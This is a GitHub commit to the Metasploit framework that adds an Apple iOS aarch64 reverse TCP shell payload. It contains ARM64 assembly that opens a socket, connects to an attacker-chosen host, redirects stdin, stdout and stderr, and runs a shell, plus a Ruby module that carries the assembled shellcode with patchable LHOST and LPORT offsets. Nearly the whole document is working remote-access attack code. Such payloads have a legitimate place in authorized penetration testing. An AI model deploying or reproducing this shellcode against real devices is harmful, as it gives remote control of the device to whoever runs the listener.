Skip to content

Commit 358aca9

Browse files
timwrtimwr
committed
apple_ios/aarch64/shell_reverse_tcp
1 parent c4e20e0 commit 358aca9

File tree

2 files changed

+169
-0
lines changed

2 files changed

+169
-0
lines changed

‎external/source/shellcode/apple_ios/aarch64/single_reverse_tcp_shell.s

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
.equ SYS_SOCKET, 0x61
2+
.equ SYS_CONNECT, 0x62
3+
.equ SYS_DUP2, 0x5a
4+
.equ SYS_EXECVE, 0x3b
5+
.equ SYS_EXIT, 0x01
6+
7+
.equ AF_INET, 0x2
8+
.equ SOCK_STREAM, 0x1
9+
10+
.equ STDIN, 0x0
11+
.equ STDOUT, 0x1
12+
.equ STDERR, 0x2
13+
14+
.equ IP, 0x0100007f
15+
.equ PORT, 0x5C11
16+
17+
_start:
18+
// sockfd = socket(AF_INET, SOCK_STREAM, 0)
19+
mov x0, AF_INET
20+
mov x1, SOCK_STREAM
21+
mov x2, 0
22+
mov x16, SYS_SOCKET
23+
svc 0
24+
mov x3, x0
25+
26+
// connect(sockfd, (struct sockaddr *)&server, sockaddr_len)
27+
adr x1, sockaddr
28+
mov x2, 0x10
29+
mov x16, SYS_CONNECT
30+
svc 0
31+
cbnz w0, exit
32+
33+
// dup2(sockfd, STDIN) ...
34+
mov x0, x3
35+
mov x2, 0
36+
mov x1, STDIN
37+
mov x16, SYS_DUP2
38+
svc 0
39+
mov x1, STDOUT
40+
mov x16, SYS_DUP2
41+
svc 0
42+
mov x1, STDERR
43+
mov x16, SYS_DUP2
44+
svc 0
45+
46+
// execve('/system/bin/sh', NULL, NULL)
47+
adr x0, shell
48+
mov x2, 0
49+
str x0, [sp, 0]
50+
str x2, [sp, 8]
51+
mov x1, sp
52+
mov x16, SYS_EXECVE
53+
svc 0
54+
55+
exit:
56+
mov x0, 0
57+
mov x16, SYS_EXIT
58+
svc 0
59+
60+
.balign 4
61+
sockaddr:
62+
.short AF_INET
63+
.short PORT
64+
.word IP
65+
66+
shell:
67+
.word 0x00000000
68+
.word 0x00000000
69+
.word 0x00000000
70+
.word 0x00000000
71+
end:
72+

‎modules/payloads/singles/apple_ios/aarch64/shell_reverse_tcp.rb

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/handler/reverse_tcp'
7+
require 'msf/base/sessions/command_shell'
8+
require 'msf/base/sessions/command_shell_options'
9+
10+
module MetasploitModule
11+
12+
CachedSize = 152
13+
14+
include Msf::Payload::Single
15+
include Msf::Payload::Linux
16+
include Msf::Sessions::CommandShellOptions
17+
18+
def initialize(info = {})
19+
super(merge_info(info,
20+
'Name' => 'Apple iOS aarch64 Command Shell, Reverse TCP Inline',
21+
'Description' => 'Connect back to attacker and spawn a command shell',
22+
'License' => MSF_LICENSE,
23+
'Platform' => 'apple_ios',
24+
'Arch' => ARCH_AARCH64,
25+
'Handler' => Msf::Handler::ReverseTcp,
26+
'Session' => Msf::Sessions::CommandShellUnix,
27+
'Payload' =>
28+
{
29+
'Offsets' =>
30+
{
31+
'LHOST' => [ 132, 'ADDR' ],
32+
'LPORT' => [ 130, 'n' ],
33+
},
34+
'Payload' =>
35+
[
36+
# Generated from external/source/shellcode/apple_ios/aarch64/single_reverse_tcp_shell.s
37+
0xd2800040, # mov x0, #0x2 // #2
38+
0xd2800021, # mov x1, #0x1 // #1
39+
0xd2800002, # mov x2, #0x0 // #0
40+
0xd2800c30, # mov x16, #0x61 // #97
41+
0xd4000001, # svc #0x0
42+
0xaa0003e3, # mov x3, x0
43+
0x10000341, # adr x1, 80 <sockaddr>
44+
0xd2800202, # mov x2, #0x10 // #16
45+
0xd2800c50, # mov x16, #0x62 // #98
46+
0xd4000001, # svc #0x0
47+
0x35000260, # cbnz w0, 74 <exit>
48+
0xaa0303e0, # mov x0, x3
49+
0xd2800002, # mov x2, #0x0 // #0
50+
0xd2800001, # mov x1, #0x0 // #0
51+
0xd2800b50, # mov x16, #0x5a // #90
52+
0xd4000001, # svc #0x0
53+
0xd2800021, # mov x1, #0x1 // #1
54+
0xd2800b50, # mov x16, #0x5a // #90
55+
0xd4000001, # svc #0x0
56+
0xd2800041, # mov x1, #0x2 // #2
57+
0xd2800b50, # mov x16, #0x5a // #90
58+
0xd4000001, # svc #0x0
59+
0x10000180, # adr x0, 88 <shell>
60+
0xd2800002, # mov x2, #0x0 // #0
61+
0xf90003e0, # str x0, [sp]
62+
0xf90007e2, # str x2, [sp,#8]
63+
0x910003e1, # mov x1, sp
64+
0xd2800770, # mov x16, #0x3b // #59
65+
0xd4000001, # svc #0x0
66+
0xd2800000, # mov x0, #0x0 // #0
67+
0xd2800030, # mov x16, #0x1 // #1
68+
0xd4000001, # svc #0x0
69+
0x5c110002, # .word 0x5c110002
70+
0x0100007f, # .word 0x0100007f
71+
0x00000000, # .word 0x00000000 // shell
72+
0x00000000, # .word 0x00000000
73+
0x00000000, # .word 0x00000000
74+
0x00000000, # .word 0x00000000
75+
].pack("V*")
76+
}
77+
))
78+
79+
# Register command execution options
80+
register_options(
81+
[
82+
OptString.new('SHELL', [ true, "The shell to execute.", "/bin/sh" ]),
83+
])
84+
end
85+
86+
def generate
87+
p = super
88+
89+
sh = datastore['SHELL']
90+
if sh.length >= 16
91+
raise ArgumentError, "The specified shell must be less than 16 bytes."
92+
end
93+
p[136, sh.length] = sh
94+
95+
p
96+
end
97+
end

0 commit comments

Comments
 (0)